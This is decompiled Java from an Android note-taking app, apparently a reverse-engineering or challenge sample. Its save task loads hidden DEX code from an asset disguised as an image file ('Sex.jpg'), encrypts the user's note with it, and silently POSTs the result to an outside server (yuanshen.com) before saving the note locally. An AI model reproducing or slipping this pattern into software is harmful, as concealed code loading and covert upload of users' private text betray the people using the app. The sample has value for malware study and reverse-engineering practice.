package
site.qifen.note.ui;
import
android.os.AsyncTask;
import
android.os.Build;
import
android.util.Log;
import
dalvik.system.InMemoryDexClassLoader;
import
java.lang.reflect.Method;
import
java.nio.ByteBuffer;
import
java.text.SimpleDateFormat;
import
java.util.Date;
import
site.qifen.note.model.Note;
import
site.qifen.note.model.sendRequest;
import
site.qifen.note.util.NoteUtil;
class
NoteActivity$EncryptAndSendTask
extends
AsyncTask<String, Void, String> {
final
NoteActivity
this
$
0
;
private
NoteActivity$EncryptAndSendTask(NoteActivity noteActivity) {
this
.
this
$
0
= noteActivity;
}
@Override
public
String doInBackground(String... params) {
String contentText = params[
0
];
try
{
byte
[] dexData =
this
.
this
$
0
.loadData(
"Sex.jpg"
);
ByteBuffer dexBuffer = ByteBuffer.wrap(dexData);
InMemoryDexClassLoader classLoader =
null
;
if
(Build.VERSION.SDK_INT >=
26
) {
classLoader =
new
InMemoryDexClassLoader(dexBuffer,
this
.
this
$
0
.getClassLoader());
}
Class<?> checkerClass = classLoader.loadClass(
"site.qifen.note.ui.Encrypto"
);
Method checkMethod = checkerClass.getMethod(
"encrypt"
, String.
class
);
this
.
this
$
0
.contentText_back = contentText;
String cipher = (String) checkMethod.invoke(checkerClass.getDeclaredConstructor(
new
Class[
0
]).newInstance(
new
Object[
0
]),
this
.
this
$
0
.sendInit(contentText));
String response = sendRequest.sendPost(
"http://yuanshen.com/"
,
"data="
+ cipher);
Log.d(
"JNITest"
,
"Server Response: "
+ response);
return
cipher;
}
catch
(Exception e) {
e.printStackTrace();
return
null
;
}
}
@Override
public
void
onPostExecute(String cipher) {
if
(cipher !=
null
) {
String titleText =
this
.
this
$
0
.noteWriteTitleEdit.getText().toString();
String tagText =
this
.
this
$
0
.noteWriteTagEdit.getText().toString();
String date =
new
SimpleDateFormat(
"yyyy-MM-dd HH:mm"
).format(
new
Date());
if
(NoteActivity.access$
100
(
this
.
this
$
0
) ==
null
) {
NoteActivity.access$
200
(
this
.
this
$
0
).insertNote(
new
Note(tagText, titleText,
this
.
this
$
0
.contentText_back, date,
false
));
NoteUtil.toast(
"保存成功"
);
this
.
this
$
0
.finish();
return
;
}
NoteActivity.access$
100
(
this
.
this
$
0
).setTitle(titleText);
NoteActivity.access$
100
(
this
.
this
$
0
).setContent(
this
.
this
$
0
.contentText_back);
NoteActivity.access$
100
(
this
.
this
$
0
).setDate(date);
NoteActivity.access$
100
(
this
.
this
$
0
).setTag(
this
.
this
$
0
.contentText_back);
NoteActivity.access$
200
(
this
.
this
$
0
).updateNote(NoteActivity.access$
100
(
this
.
this
$
0
));
NoteUtil.toast(
"修改成功"
);
this
.
this
$
0
.finish();
return
;
}
NoteUtil.toast(
"加密失败"
);
}
}